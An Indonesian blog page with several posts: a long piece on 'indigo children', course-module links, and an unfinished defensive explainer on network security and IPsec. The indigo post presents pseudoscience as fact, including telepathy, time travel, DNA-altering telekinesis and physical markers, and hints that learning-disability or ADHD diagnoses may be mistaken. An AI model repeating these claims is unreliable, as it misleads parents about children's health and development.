INDIGO

•16 Januari 2012 • Tinggalkan sebuah Komentar

Indigo adalah warna nila, biru gelap. Anak indigo adalah anak yang memiliki lapangan aura berwarna nila. Cara berpikirnya yang khas, pembawaannya yang tua, membuat anak indigo tampil beda dengan anak sebayanya. Pacaran aura yang dimilikinya membawa kepada suatu karakteristik perilaku unik. Secara fisik anak indigo sama sekali tak berbeda dengan anak lainnya.

Lewat bukunya Understanding Your Life Through Color, Nancy Tappe (1982) membuat klasifikasi manusia berdasarkan warna energi atau cakra. Cakra adalah pintu-pintu khusus dalam tubuh manusia untuk keluar masuknya energi. Konon pada tubuh manusia ada 7 cakra, yaitu cakra mahkota ada di puncak kepala, cakra Ajna di antara dua alis, cakra tenggorokan di tenggorokan, cakra jantung di tengah dada, cakra pusar ada di pusar, cakra seks ada pada tulang pelvis, dan cakra dasar ada di tulang ekor.

Anak indigo memiliki keunggulan pada cakra Ajna (the third eyes) yang berkaitan dengan kelenjar hormon hipofisis dan epifisis di otak. Adanya mata ketiga ini membuat anak indigo disebut memiliki indra keenam. Mereka dianggap memiliki kemampuan menggambarkan masa lalu dan masa datang.

Satu hal yang penting dan digaris bawahi, yaitu tidak jarang anak indigo salah diidentifikasi. Mereka sering dianggap sebagai anak LD (Learning Sidability) ataupun anak ADD/HD (Attentian Deficit Disorder/Hyperactivity Disorder). Perbedaannya adalah ketidakajegan munculnya perilaku yang dikeluhkan. Misalnya pada anak indigo, mereka menunjukkan keunggulan pemahaman terhadap aturan-aturan sosial dan penalaran abstrak, tapi tak tampak dalam kesehariannya, baik di sekolah maupun di rumah.

Ciri-ciri Fisik Anak Indigo

 Beberapa tulisan dan buku yang membahas mengenai anak Indigo hanya mengemukakan ciri-ciri perilaku dan kejiwaannya saja, dan tidak ada yang secara spesifik menjelaskan ciri-ciri fisiknya. Apakah ciri-ciri fisik anak Indigo itu, yang membedakannya dengan anak-anak pada umumnya, memang ada?

Berbicara mengenai jiwa dan gambaran perubahannya yang muncul pada fisik, pasti sudah banyak orang yang tahu. Bagaimana emosi, seperti marah, sedih, dan gembira akan tergambar pada perubahan raut wajah, atau gerakan bahasa tubuh lainnya.

Emosi yang terjadi secara berulang-ulang dalam jangka waktu yang lama bisa membuat suatu perubahan yang menetap pada roman muka dan tampilan fisik lainnya. Orang yang berkarakter jahat, sebagai contoh, seperti narapidana kambuhan, preman atau orang yang dalam kehidupannya sehari-hari selalu bergelut dengan dunia kejahatan, akan tergambarkan pada wajahnya dengan jelas. Begitu juga dengan orang yang berkarakter baik, seperti orang yang penolong, dermawan, baik hati, wajahnya akan tampak menyenangkan, teduh dan memberikan ketenangan apabila dipandang.

Pemahaman itulah yang digunakan dalam pembuatan karakter tokoh film atau animasi kartun, di mana seorang penjahat divisualisasikan dengan muka yang bengis, sorot mata kejam, jarang tersenyum, sedangkan seorang pemuka agama bermuka bersih bercahaya, seorang penegak hukum dengan wajah tegas, dan lain sebagainya.

Ciri-ciri fisik sejak lahir, anak-anak hingga dewasa

 Anak Indigo terlahir dengan jiwa yang tua, atau tingkat kedewasaan dini pada usia sangat muda atau anak-anak. Sebagian anak Indigo bahkan memperlihatkan pertumbuhan jiwa yang luar biasa sejak usia bayi, seperti kemampuan berpikir analitik dalam memahami fungsi benda-benda, menilai karakter orang dewasa, mengungkapkan maksud hatinya kepada orang di sekitarnya, dan lain sebagainya. Pengaruh perkembangan jiwa yang terlalu cepat itu juga tampak pada pertumbuhan fisik seperti gigi yang muncul lebih cepat, dan kemampuan motorik seperti berjalan dan berbicara yang lebih dulu dari bayi pada umumnya.

Karena kemampuan anak Indigo terletak pada kekuatan jiwanya, maka bentuk fisik secara spesifik banyak terdapat di bagian kepalanya. Ciri yang khas adalah bentuk kepala yang sedikit agak lebih besar dari bayi atau anak-anak pada umumnya, terutama pada bagian lingkar kepala, dan dahi serta pelipis yang lebih lebar.

Kuantitas otak anak Indigo biasanya lebih besar disebabkan penggunaannya relatif lebih sering sejak usia dini tadi. Mereka berpikir dan menganalisa setiap apa yang dilihat, didengar atau dirasakannya.Pelebaran pada lingkar kepala menunjukkan penggunaan kemampuan telepati, pada kening adalah analitik, sedangkan dahi adalah visualisasi dan imajinasi citra-citra supranatural.

Bentuk daun telinga pun mempunyai bentuk yang sedikit lebih keluar dari kepala, memanjang pada bagian ujung atas, dan agak menekuk ke atas pada bagian cuping bawah. Lebih kuatnya “insting reptil” merupakan sebab kemunculan ciri binatang yang tergambar pada bentuk daun telinga ini.

Begitu juga dengan mata, terutama tatapan mata yang sangat tajam dan dalam, dengan bagian pupil atau orang-orangan mata yang lebih besar, sehingga tampak hanya tersisa sedikit ruang untuk warna putih mata. Pandangan mata anak Indigo bertolak belakang dengan pandangan mata anak autis. Kalau anak autis tidak bisa menatap mata orang lain, atau tidak bisa berkonsentrasi pada satu titik dalam waktu yang lama, sedangkan anak Indigo sebaliknya, mereka dengan berani menatap – sambil menganalisa karakter – orang dewasa di depan mereka, dan tingkat konsentrasinya terhadap sesuatu sangat tinggi untuk ukuran mereka. Sedangkan orang-orangan mata yang lebih besar menunjukkan kemampuan melihat makhluk gaib dan hal-hal yang tersembunyi lainnya dari dimensi-dimensi lain. Selain itu ada sebagian anak Indigo yang terlahir dengan mata agak sedikit jereng, baik ke tengah – ke arah hidung – atau ke luar.

Susunan gigi-geligi mereka biasanya terlihat rapi dan bagus, dan terasa sangat tajam apabila anda merasakan gigitannya. Pada usia bayi ketika mulai tumbuh satu dua gigi, mereka cenderung melakukan kegiatan gigit-menggigit yang lebih sering dan intensif.

Ada semacam tanda aneh yang mungkin ditemukan pada saat kelahirannya – dan mungkin terbawa sampai usia beberapa tahun. Tanda itu terdapat di dahi, di antara kedua mata, sedikit agak di atasnya. Tanda yang pada sebagian anak Indigo terlihat cukup jelas seperti bekas pukulan yang membekas dalam dengan warna agak gelap samar. Tanda ini seperti “mata ketiga” yang menampakkan dirinya secara fisik.

Demikianlah sedikit pengetahuan saya tentang ciri-ciri fisik anak Indigo, yang mungkin bisa membantu para orang tua dalam mengenali keindigoan pada anak-anak mereka, terutama untuk anak-anak sejak usia bayi (balita) hingga usia anak-anak. Ciri-ciri tersebut di atas bisa saja akan bertahan hingga usia dewasa, namun biasanya akan mengalami penurunan atau peningkatan sesuai perubahan perilaku dan emosi jiwa. Secara umum, ukuran kepala yang lebih besar, bentuk daun telinga, dahi dan kening yang lebar, dan tatapan mata akan bertahan hingga usia dewasa.

Contoh Kasus

 Annisa Rania Putri tergolong anak ajaib. Bocah kelahiran 5 Juli 1999 berusia sembilan tahun itu menguasai bahasa Inggris, Arab, Korea dan Belanda tanpa belajar secara formal. Kemampuannya itu datang tiba-tiba.Bahkan dia juga mampu melihat hal-hal gaib yang tak bisa ditembus penglihatan orang awam. Dia bisa menjangkau masa depan, menyembuhkan orang sakit dan melatih meditasi orang-orang dewasa.

Bocah itu berceramah menggunakan bahasa Inggris di depan anggota pengajian padepokan Toha. Dalam ceramahnya, putri dari anggota TNIAD berpangkat kolonel itu bercerita soal makna berpuasa. Menurut Annisa, puasa penting bagi semua orang. Sebab, puasa akan menimbulkan energi cinta. Oleh karena itu, manusia butuh berpuasa karena dengan berpuasa energi itu akan memuncak.

Dengan energi itu pula akan tercipta sebuah kedamaian, perhatian kepada keluarga dan perhatian kepada sesama insan manusia. “Dengan puasa kita bisa membuang energi negatif dan menumbuhkan energi positif yakni energi cinta,” kata Annisa dalam bahasa Inggris.

Dalam sesi tanya jawab, seorang penanya sempat menanyakan kondisi Indonesia yang penuh dengan bencana. Annisa dengan lantang menjawab, bencana yang menimpa Indonesia masih akan terus berlanjut. “Saya melihat itu,” katanya. Lalu dia meneruskan, “Saya tidak akan menceritakan bencana apa yang akan terjadi di kemudian hari. Sebab kalau saya ceritakan akan menimbulkan kegelisahan dan pikiran-pikiran buruk dari orang-orang. Nah pikiran buruk itulah yang justru akan menimbulkan bencana-bencana baru,” ujar Annisa. Dalam pesannya, bocah ajaib yang bisa merancang rumah, mengoperasikan komputer, dan menyanyi, itu mengajak semua umat manusia untuk berdamai.

Sebagai bukti kemahirannya merancang bangunan, rumah bertingkat empat di Jl Janur Hijau, Kelapa Gading, Jakarta. Kelebihan lain dari Annisa adalah mampu menginstal komputer sendiri. Menurut Ny Yenni, keajaiban Annisa mulai terlihat sekitar medio Oktober 2002 lalu.

Ia melihat bunga besar yang ada di dekat dinding tembok rumahnya padahal sang ibu tidak melihat apapun. Hal lainnya, ia tidak menyebut ibu kepada Laksmi melainkan hanya sebutan biasa saja. “Saya lebih tua dari Yenni (nama ibunya),” kata Annisa. Menurut Yenni, sang ibu, tidak ada keistimewaan saat Annisa dilahirkan. Hanya saja, ia terpaksa menjalani operasi caesar karena usianya saat itu 35 tahun.

Menurut sejumlah pakar, kemampuan Annisa ini digolongkan sebagai anak indigo yaitu secara fisik masih anak-anak namun batinnya tua (old soul).

Jika selama ini dia hanya menyebarkan ilmunya itu lewat ceramah-ceramah dan kuliah, Annisa kini mulai menjangkau lebih banyak orang melalui sebuah buku yang berisi kumpulan tulisannya. Buku itu berjudul Hope Is on the Way: Kumpulan Pesan Alam.

Malam kemarin, ditemani ayah-ibunya, Annisa berbagi cerita tentang buku yang diluncurkan di Jakarta 29 Agustus lalu. “Buku ini berisi kumpulan ceramah dan kuliah saya di berbagai tempat dan waktu. I just fixed some of them (saya cuma memperbaiki beberapa saja) sebelum diterbitkan,” tutur Annisa yang tak bisa berbahasa Indonesia.

Perihal bahasa ini, orangtua Annisa, pasangan dr Arwin SpKj dan Yenni Handojo, beberapa kali sempat miskomunikasi dengan anaknya itu. “Suatu saat, karena beberapa kali kami sempat tidak menangkap bahasa Annisa, dengan polos dia berujar ‘kenapa kok orangtua saya bodoh begini’,” tutur Yenni yang tak pernah tersinggung tapi justru terhibur dan bersyukur memiliki anak Annisa yang dilahirkannya secara caesar di Jakarta, 5 Juli 1999.

Meski masih anak-anak, buku Annisa jelas bukan untuk konsumsi anak-anak. Bahkan, remajapun belum tentu bisa mencerna pesan yang disampaikan Annisa dalam bukunya yang diterbitkan kelompok penerbit Gramedia itu.

Sebab, isi pesan-pesan dalam tulisan Annisa memang kelas berat, filosofis, dan mungkin baru bisa ditangkap oleh orang-orang dewasa atau yang sudah tercerahkan. Dia membahas, misalnya, tentang misteri kebijaksanaan, kasih, dan keadilan serta makna puasa.

Semua isi buku itu berasal dari ‘pesan-pesan alam’ yang bisa ditangkap Annisa kapan saja. Bisa tiba-tiba di sela-sela pembicaraan dengan orang lain, tapi kerap di keheningan malam. “Kalau sedang mendapat ‘pesan alam’, tangan Annisa biasanya bergerak mencoret-coretkan ‘pesan alam’ itu atau bibirnya seperti mengucapkan sesuatu,” kata Yenni.

Kelebihan Annisa sudah diakui banyak pihak. Wapres Jusuf Kalla pernah mengundangnya, berbagai universitas terkenal telah memintanya untuk memberi ceramah, dan sebuah majelis taklim yang beranggotakan orang-orang kelas menengah atas di Jakarta kerap mengundang Annisa.

Bocah itu juga memberi pelatihan dan konsultasi pada beberapa kelompok meditasi di Jakarta. Kalau sampai sekarang Annisa belum bersekolah, bukan bebarti orangtuanya membiarkannya. “Tapi, ketika sekolah di dalam kelas justru gurunya yang belajar dari Annisa. Dia kemudian tak mau sekolah,” ucap Yenni.

Kemampuan berbahasa Inggris Annisa pun diperoleh secara alamiah. Setelah mulai bisa bicara saat berusia setahun lebih, tiba-tiba Annisa sudah cas cis cus dalam bahasa Inggris.Keanehan lain, ketika belum lancar bicara, saat diajak menjenguk neneknya yang sakit, Annisa bilang ‘kembang’ dalam bahasa Inggris. Tak berapa lama, neneknya meninggal. Kembang tadi tampaknya isyarat kematian.

Saat ditanya apa cita-citanya, Annisa bilang ingin menjadi pengacara

 10 jenis INDIGO

 1.   Komunikasi dengan Tuhan:

Kemampuan ini berhubungan dengan cakra mahkota pada bagian atas kepala yang merupakan pintu komunikasi antara manusia dengan Tuhan. Cakra ini pada orang Indigo berwarna ungu yang sangat kuat terutama pada saat terjadi koneksi dengan Sang Sumber. Hubungan dengan makhluk-makhluk suci seperti malaikat dan dimensi lain yang lebih tinggi, juga terjadi di cakra ini.

2.   Telepati:

Telepati adalah kemampuan membaca pikiran dan perasaan manusia atau makhluk lain sering dihubungkan dengan cakra mata ketiga ~ cakra adalah semacam lubang hitam (black hole) pada jiwa kita ~ yang posisinya terletak di depan kepala (dahi). Enam kemampuan setelah ini juga mengandalkan kekuatan cakra ketiga.

Mata ketiga tersebut pada tubuh kita terletak di otak bagian depan. Secara fisik berupa ujung-ujung syaraf di kulit luar otak yang berperan sebagai sensor gelombang yang datang.

Setiap kali orang berpikir dan beremosi maka otak akan memancarkan gelombangnya. Gelombang berfrekuensi rendah ini merembet dan memantul ke sana kemari dengan kecepatan cahaya kemudian diindra oleh sensor di otak orang indigo dan diolah di otak untuk diubah menjadi sebuah gambaran.

Kemampuan membaca pikiran dan perasaan (menangkap gelombang) dimiliki hampir semua orang Indigo, termasuk juga anak-anak Indigo yang masih bayi. Sedangkan kemampuan berkomunikasi jarak jauh mengirim gelombang hanya dimiliki oleh orang Indigo tertentu saja.

3.   Klervoyans:

Kemampuan untuk melihat kejadian yang sedang berlangsung di tempat lain. Sama seperti pikiran dan perasaan yang memancarkan gelombang, setiap peristiwa di alam juga memancarkan gelombang. Gelombang tersebut dipancarkan oleh setiap makhluk yang terlibat dalam peristiwa itu, bahkan benda mati sekalipun memancarkan gelombang dari gerak elektron pada atom dan getaran molekulnya. Kemampuan ini meliputi juga kemampuan melihat benda-benda yang tersembunyi atau berada di suatu tempat yang tertutup.

4.   Prekognision:

Hal ini berhubungan dengan kemampuan memprediksi dan membuat peristiwa yang akan terjadi. Memprediksi peristiwa artinya menggambarkan sebuah kejadian yang akan terjadi sedangkan membuat peristiwa maksudnya menetapkan kejadian yang akan terjadi di masa depan. Kemampuan untuk menetapkan suatu peristiwa di masa depan termasuk kemampuan sulit yang jarang dimiliki oleh orang Indigo secara umum.

Prediksi diperoleh dengan 2 cara, yakni dengan melihat langsung kejadian yang sedang berlangsung di masa depan atau membaca dan menyimpulkan data-data yang ada di masa sekarang dan menyimpulkan sebuah kemungkinan terbesar yang akan terjadi di masa depan.

Cara pertama dilakukan dengan jalan mengembara di dimensi waktu. Rahasianya terletak pada keanehan sifat dimensi waktu. Dimensi waktu tidak berbentuk linier seperti dimensi ruang, tapi berbentukl spiral dengan arah putaran ke dalam dimensi ruang. Anda bayangkan tangga berputar berbentuk spiral di dalam sebuah gedung.

Karena arah putaran spiral dimensi waktu mengarah ke dalam dimensi ruang, maka pancaran gelombang yang dipancarkan sebuah peristiwa di masa lalu atau masa depan bukan berasal dari luar tubuh tapi dari dalam tubuh. Meskipun datangnya gelombang dari dalam tubuh diperlukan usaha lebih keras menangkap gelombang ini karena sifat dimensi waktu yang bisa melebar dan menyempit tak terbatas (tidak berhingga). Inilah yang disebut mengembara di dimensi waktu.

Namun di dalam dimensi waktu terdapat sebuah jalan pintas, yakni adanya dawai kosmik yang terletak memotong spiral waktu. Anda bayangkan sebuah lift yang memotong tegak lurus arah putaran tangga spiral tadi. Perjalanan dengan menggunakan lift pasti lebih cepat dibandingkan dengan menuruni tanggal berjalan berputar.

Pada prakteknya mengembara di dimensi waktu bagi seorang Indigo cukup dengan konsentrasi dan membayangkan suatu waktu (Tahun, bulan, tanggal, atau jam) tertentu gambarannya bisa berupa kalender dan sebuah jam, dan melihat apa yang terjadi pada saat itu. Akan lebih mudah kalau ada orang / saksi yang diketahui terlibat pada peristiwa itu.

5.   Retrokognision:

Berhubungan dengan kemampuan melihat dan membuat peristiwa di masa lampau. Yang dimaksud dengan kemampuan membuat peristiwa adalah menetapkan suatu kejadian di masa lampau dan itu berpengaruh kepada masa sekarang. Hal ini juga berhubungan dengan spiral dimensi waktu. Kemampuan ini sangat jarang dimiliki oleh orang Indigo karena jarang dipergunakan.

Yang umum dilakukan oleh orang Indigo adalah melihat kejadian di masa lalu untuk menjelaskan suatu keadaan yang ada di masa sekarang. Biasanya yang dicari adalah sebab-sebab suatu kejadian, siapakah orang-orang yang terlibat dan bagaimana proses terjadinya.

6.   Mediumship:

Orang Indigo mempunyai kemampuan untuk menggunakan ruhnya dan ruh orang atau makhluk lain sebagai medium. Orang Indigo mampu berkomunikasi dengan ruh untuk menggali informasi.

Ruh adalah gumpalan energi hidup yang berstruktur (badan, kepala dan anggota badan ruh). Ruh menyimpan kenangan seperti halnya tubuh manusia dengan otaknya. Kenangan yang direkam oleh ruh berasal dari pengetahuan dasar yang bersifat idealis (berasal dari Sang Sumber) dan sudah ada sebelumnya serta pengalaman yang bersifat realistis hasil perjalanan selama hidup bersama tubuh.

Melihat makhluk dan berkomunikasi dengan makhluk lain yang tidak terlihat tapi berada di dimensi kita termasuk dalam kemampuan ini.

7.   Psikometri:

Bermakna kemampuan menggali informasi dan berkomunikasi dengani objek apa pun. Hal ini dimungkinkan karena setiap benda terdiri dari susunan atom yang membentuk molekul. Molekul pada benda padat, gas atau cair bergetar dan getarannya menghasilkan gelombang. Molekul dan atom itu juga dapat menyimpan rekaman suatu peristiwa. Rekaman ini bisa digali dan dibaca.

8.   Sugesti hipnosis:

Orang Indigo yang tidak belajar hipnosis bisa menghipnosis dengan kemampuan telepatinya. Walaupun proses sugestinya berjalan lamban namun bersifat permanen dan bisa diwariskan. Contoh adalah hasil sugesti hipnosis yang dilakukan orang-orang Indigo seperti para Rasul, Nabi, wali dan orang suci lainnya. Pengaruh mereka masih terus berbekas hingga sekarang.

9.   Analitik:

Kecerdasan (IQ) orang Indigo rata-rata di atas 120. Kelebihan dari orang biasa adalah kemampuan analisa data secara cepat, luas dan kontinyu. Data-data yang tersebar dan acak akan dikumpulkan dan saling dihubungkan dengan cepat. Sebuah kesimpulan atau jawaban atas sebuah pertanyaan atau permasalahan bisa diperoleh oleh seorang Indigo hanya dalam waktu beberapa detik, terutama yang berhubungan dengan analisa kejadian alam. Kemungkinan ini berhubungan dengan kapasitas dan kemampuan proses di otak yang lebih besar dari orang umum.

10. Telekinetik:

Telekinetik artinya menggerakkan benda dari jarak jauh. Pada umumnya berhubungan kuat dengan kemampuan telepati seperti sugesti hipnosis. Merubah perilaku orang lain dengan mengubah susunan genetik pada spiral DNA dan menggerakkan sel, kelenjar atau organ tubuh dalam sistem metabolisme tubuh. Kemampuan untuk menggerakkan benda dengan massa besar tidak umum dimiliki oleh orang-orang Indigo.

Tetapi ada pula yang membaginya menjadi 4 macam golongan anak indigo:

A.     Humanis. Tipe ini akan bekerja dengan orang banyak. Kecenderungan karir di masa datang adalah dokter, pengacara, guru, pengusaha, politikus atau pramuniaga. Perilaku menonjol saat ini hiperaktif, sehingga perhatiannya mudah tersebar. Mereka sangat sosial, ramah, dan memiliki pendapat kokoh.

B.     Konseptual. Lebih enjoy bekerja sendiri dengan proyek-proyek yang ia ciptakan sendiri. Contoh karir adalah sebagai arsitek, perancang, pilot, astronot, prajurit militer. Perilaku menonjol suka mengontrol perilaku orang lain.

C.     Artis. Tipe ini menyukai pekerjaan seni. Perilaku menonjol adalah sensitif, dan kreatif. Mereka mampu menunjukkan minat sekaligus dalam 5 atau 6 bidang seni, namun beranjak remaja minat terfokus hanya pada satu bidang saja yang dikuasai secara baik.

D.     Interdimensional. Anak indigo tipe ini di masa datang akan jadi filsuf, pemuka agama. Dalam usia 1 atau 2 tahun, orangtua merasa tidak perlu mengajarkan apapun karena mereka sudah mengetahuinya.

Ciri-ciri anak berbakat yang indigo:

  • Memiliki sensitivitas tinggi.
  • Memiliki energi berlebihan untuk mewujudkan rasa ingin tahunya yang berlebihan.
  • Mudah sekali bosan.
  • Menentang otoritas bila tidak berorientasi demokratis.
  • Memiliki gaya belajar tertentu.
  • Mudah frustasi karena banyak ide namun kurang sumber yang dapat membimbingnya.
  • Suka bereksplorasi.
  • Tidak dapat duduk diam kecuali pada objek yang menjadi minatnya.
  • Sangat mudah merasa jatuh kasihan pada orang lain.
  • Mudah menyerah dan terhambat belajar jika di awal kehidupannya mengalami kegagalan.
  • Apa yang harus dilakukan orangtua:
  • Hargai keunikan anak dan hindari kritikan negatif.
  • Jangan pernah mengecilkan anak.
  • Berikan rasa aman, nyaman dan dukungan.
  • Bantu anak untuk berdisiplin.
  • Berikan mereka kebebasan pilihan tentang apapun.
  • Bebaskan anak memilih bidang kegiatan yang menjadi minatnya, karena pada umumnya mereka tidak ingin jadi pengekor.
  • Menjelaskan sejelas-jelasnya (masuk akal) mengapa suatu instruksi diberikan, karena mereka tidak suka patuh pada hal-hal yang dianggap mengada-ada.
  • Jadikan sebagai mitra dalam membesarkan mereka.

 

Sumber:

http://www.kaskus.us/showthread.php?t=6423355

http://www.pasulukanlokagandasasmita.com/ciri-ciri-fisik-anak-indigo/

http://biocassanova.wordpress.com/2009/04/04/indigo-ciri-ciri-dan-definisi/

Modul Pemrograman Object Relation Mapping

•9 Januari 2012 • Tinggalkan sebuah Komentar

Silahkan Download Modul Praktikum Pemrograman Object Ralation Mapping, Semoga Bermanfaat……… “

Klik Link ini,  Pemrograman Object relation Mapping

Metode Transportasi

•5 Januari 2012 • Tinggalkan sebuah Komentar

Metode Transportasi merupakan suatu metode yang digunakan untuk mengatur distribusi dari sumber­-sumber yang menyediakan produk yang sama ke tempat-­tempat yang membutuhkan secara optimal dengan biaya yang termurah. Alokasi produk ini harus diatur sedemikian rupa karena terdapat perbedaan biaya-­biaya alokasi dari satu sumber atau beberapa sumber ke tempat tujuan yang berbeda. Tabel awal dapat dibuat dengan dua metode, yaitu :

1.  Metode North West Corner (NWC) => dari pojok kiri atas ke pojok kanan bawah Kelemahan : tidak memperhitungkan besarnya biaya sehingga kurang efisien.

2.  Metode biaya terkecil => mencari dan memenuhi yang biayanya terkecil dulu. Lebih efisien dibanding metode NWC.

Setelah tabel awal dibuat, tabel dapat dioptimalkan lagi dengan metode:

1. Stepping Stone (batu loncatan)

2. Modified Distribution Method (MODI)

Selain metode-­metode di atas masih ada satu metode yang lebih sederhana penggunaannya yaitu metode Vogel’s Approximation Method (VAM). Contoh masalah transportasi:

dari          -             Ke

Gudang A

Gudang B

Gudang C Kapasitas pabrik
Pabrik W

Rp 20

Rp 5

Rp 8

90

Pabrik H

Rp 15

Rp 20

Rp 10

60

Pabrik P

Rp 25

Rp 10

Rp 19

50

Kebutuhan gudang

50

110

40

200

Penyelesaian:

1. Metode NWC

Biaya yang dikeluarkan :

(50 . 20) + (40 . 5) +( 60 . 20) + (10.10) + (40.19) = 3260

2. Metode biaya terkecil

………. Selanjutnya dapat anda Download File diatas : METODE TRANSPORTASI

Interaksi Manusia dan Komputer

•5 Januari 2012 • Tinggalkan sebuah Komentar

Pendahuluan
WYSIWYG (What You See Is What You Get) User Friendly = Ramah dengan Pengguna = kemampuan yang dimiliki oleh perangkat lunak atau program aplikasi yang mudah dioperasikan dan juga kemampuan lainnya yang membuat pengguna merasa betah dalam mengoperasikan program tersebut.

Antarmuka Manusia – Komputer
Input (Masukan) -> Process (Proses) ->  Output (Keluaran)

Ketika seseorang bekerja dengan sebuah komputer, ia akan melakukan interaksi dengan komputer menggunakan cara-cara tertentu. Cara yang umum digunakan adalah bahwa pengguna memberikan suatu perintah kepada komputer dan komputer menanggapinya dengan mencetak atau menuliskan tanggapan itu pada layar tampilan. Dari pola “Input -> Process -> Output” di atas, pengguna tidak tahu (atau tidak mau tahu) dengan proses yang sesungguhnya terjadi di dalam sistem komputer.

Dengan kata lain, melalui “masukan(input) dan keluaran(output) pengguna dan komputer saling berinteraksi. Agar pengguna dan komputer dapat saling berinteraksi hingga pengguna dapat merasakan adanya keramahan sistem komputer kepadanya, diperlukan suatu media yang memungkinkan interaksi tersebut berlangsung. Dengan dikembangkannya perangkat antarmuka berbasis grafis GUI (Graphical User Interface) memudahkan pengguna berinteraksi dengan program.

Tujuan Utama disusunnya berbagai cara interaksi manusia dan komputer adalah memudahkan manusia dalam mengoperasikan komputer dan mendapatkan berbagai umpan balik yang ia perlukan selama ia bekerja pada sebuah sistem komputer. Untuk merancang sistem yang ramah dan akrab dengan pengguna, para perancang harus memahami aspek psikologis yang dimiliki oleh pengguna, karena masing-masing pengguna memiliki ciri-ciri khusus dan kebiasaan
yang berlainan ketika mereka bekerja pada sebuah sistem komputer.

Selanjutnya dapat anda Download : Kuliah Interaksi Manusia dan Komputer

Meningkatkan Security Jaringan Komputer Anda

•23 Desember 2011 • Tinggalkan sebuah Komentar

            Situs Departemen Luar Negeri ‘dijebol’ hacker!!! Situs www.mil.id ‘diobrak-abrik’ hacker!!! Bagaimana bila hal ini terjadi pada jaringan komputer Anda ?

            Lalu lintas komunikasi data melalui Internet dengan TCP/IP-nya telah menjadi suatu kekuatan telekomunikasi yang sangat besar. Tiap jam, menit, hingga detik, data-data elektronik yang berharga lalu lalang dalam Internet tersebut. Tentunya hal tersebut menggugah inspirasi orang-orang tertentu untuk mencoba mendapatkan data-data tersebut. Hal ini menjadi ancaman serius bagi sekuriti di Internet. Untuk itu, kita harus lebih waspada terhadap usaha-usaha yang mengancam integritas data yang kita miliki. Tulisan ini mencoba memberikan alternatif sederhana kepada para pembaca yang hendak memahami masalah sekuriti di Internet. Pada bagian akhir, terdapat sebuah daftar singkat yang berisi tentang sumber-sumber dokumen maupun situs di Internet yang berkaitan dengan tulisan ini dan dapat dijadikan referensi untuk lebih mendalami masalah sekuriti di Internet.

            Secara umum, masalah sekuriti di Internet dapat dipandang dari dua sisi penting. Sisi pertama adalah integritas data yang dikirimkan melalui jaringan Internet (kita sebut saja integritas pengiriman data) dan sisi berikutnya adalah tingkat sekuriti dalam jaringan komputer itu sendiri (kita sebut sekuriti jaringan internal). Mari kita bahas satu-persatu dari sisi-sisi tersebut.

Integritas Pengiriman Data

            Pada saat kita mengirimkan data melalui jaringan Internet, kita selalu ingin agar data yang kita kirimkan tersebut sampai di tujuan dengan selamat dan tidak mengalami campur tangan pihak lain. Syarat ini menjadi jauh lebih utama apabila data yang kita kirimkan tergolong kategori data rahasia.

            Pada saat kita kirimkan, data tersebut akan melalui berbagai jenis komputer, router, atau gateway dan melintasi berbagai macam media fisik komunikasi. Kita mempertaruhkan integritas data kepada keanekaragaman di atas. Tentunya kita tidak mungkin memeriksa tingkat sekuriti di setiap hop/titik yang dilalui oleh data tersebut karena tingkat sebaran dan kepemilikan hop yang sangat beraneka ragam. Salah satu solusi yang dapat diterapkan adalah enkripsi data. Tujuan utama dari solusi ini adalah mencegah terjadinya curi-dengar (eavesdropping) terhadap data yang kita kirimkan maupun yang kita terima. Jika seorang “eavesdropper” melakukan tindakan curi-dengar, ia akan memperoleh data-data yang terenkripsi saja sehingga tidak mencerminkan isi data yang sebenarnya.

            Proses enkripsi data bisa diterapkan di lapisan (layer) tertentu dari protokol TCP/IP. Seperti yang telah diketahui, protocol TCP/IP memiliki 4 (empat) lapisan guna menunjang proses komunikasi data. Lapisan tersebut terdiri dari Application Layer, Transport Layer, Internet Layer, Network Access Layer. Kita bisa menerapkan proses enkripsi di masing-masing lapisan tersebut. Masing-masing implementasi dari lapisan-lapisan tersebut adalah sebagai berikut :

  • Network Access Layer

            Bentuk nyata dari lapisan ini adalah bagian hardware dari sebuah komputer. Bila kita akan menerapkan proses enkripsi di lapisan ini, maka kita harus mencari atau menciptakan hardware khusus yang menangani masalah enkripsi data. Beberapa lembaga penelitian telah mulai menggali lebih dalam kemungkinan penciptaan hardware yang memiliki kemampuan enkripsi data yang lebih baik.

  • Internet Layer

            Dalam protokol TCP/IP, Internet layer diimplementasikan dalam Internet Protocol (IP). Protokol ini berbentuk software yang mengatur tentang pengalamatan dan proses routing. Protokol ini telah diberikan nilai tambah tersendiri untuk meningkatkan sekuriti data yang dikirimkannya. Nilai tambah tersebut masing-masing adalah Authentication Header dan Encapsulating Security Payload.

Authentication Header (AH) adalah sebuah header tambahan yang bertujuan untuk memberikan jaminan atas syarat integritas data yang dikirimkan dan syarat keaslian sumber pengirim beserta data yang dikirimkan (authentication). Header ini berada di posisi paling akhir dari header-header pada lapisan IP dan sebelum header Encapsulating Security Payload (ESP). AH juga bisa menjamin non-repudiation dari sebuah data apabila penerapan AH menggunakan algoritma kriptografi tertentu. Non-repudiation adalah syarat dimana pihak penerima bisa membuktikan bahwa pihak pengirim benar-benar mengirimkan data yang diterima pihak penerima meskipun pihak pengirim tidak mengakuinya. Informasi yang terkandung di dalam AH ini dihasilkan dari perhitungan seluruh bagian dari datagram IP (mulai dari header IP, header protokol di atas IP, hingga data aslinya). Bila pihak penerima menerima datagram yang tidak otentik berdasarkan penilaian AH, datagram tersebut akan diabaikan. Mekanisme ini bisa digunakan untuk mencegah aksi-aksi IP spoofing. Aksi ini bertujuan agar penyusup bisa berpura-pura sebagai pihak pengirim dengan cara menebak datagram yang akan dikirimkan.

Encapsulating Security Payload (ESP) adalah sebuah mekanisme tambahan pada datagram IP yang bertujuan untuk meningkatkan confidentiality dan integritas data. Confidentiality adalah suatu syarat dimana penerima mengetahui arti yang sebenarnya dari data yang dikirimkan sedangkan pihak lain yang tidak diharapkan tidak akan mengerti arti yang sebenarnya dari data yang dikirimkan. Hasil implementasi ESP ini adalah sebuah datagram IP yang bagian datanya telah terenkripsi. ESP diletakkan di posisi paling akhir dari serangkaian IP header dan sebelum bagian pertama data. ESP memiliki header tersendiri yang disebut ESP Header. Untuk modus paling aman, format ESP Header adalah awal dari header tersebut tidak dienkripsi sedangkan sisa header dan seluruh bagian data dienkripsi.

|<—-     Tidak dienkripsi      —->|<—–    Dienkripsi    ——>|

+————+——————-+————+———————–+

| IP Header  | IP Header lainnya | ESP Header | data yang dienkripsi  |

+————+——————-+————+———————–+

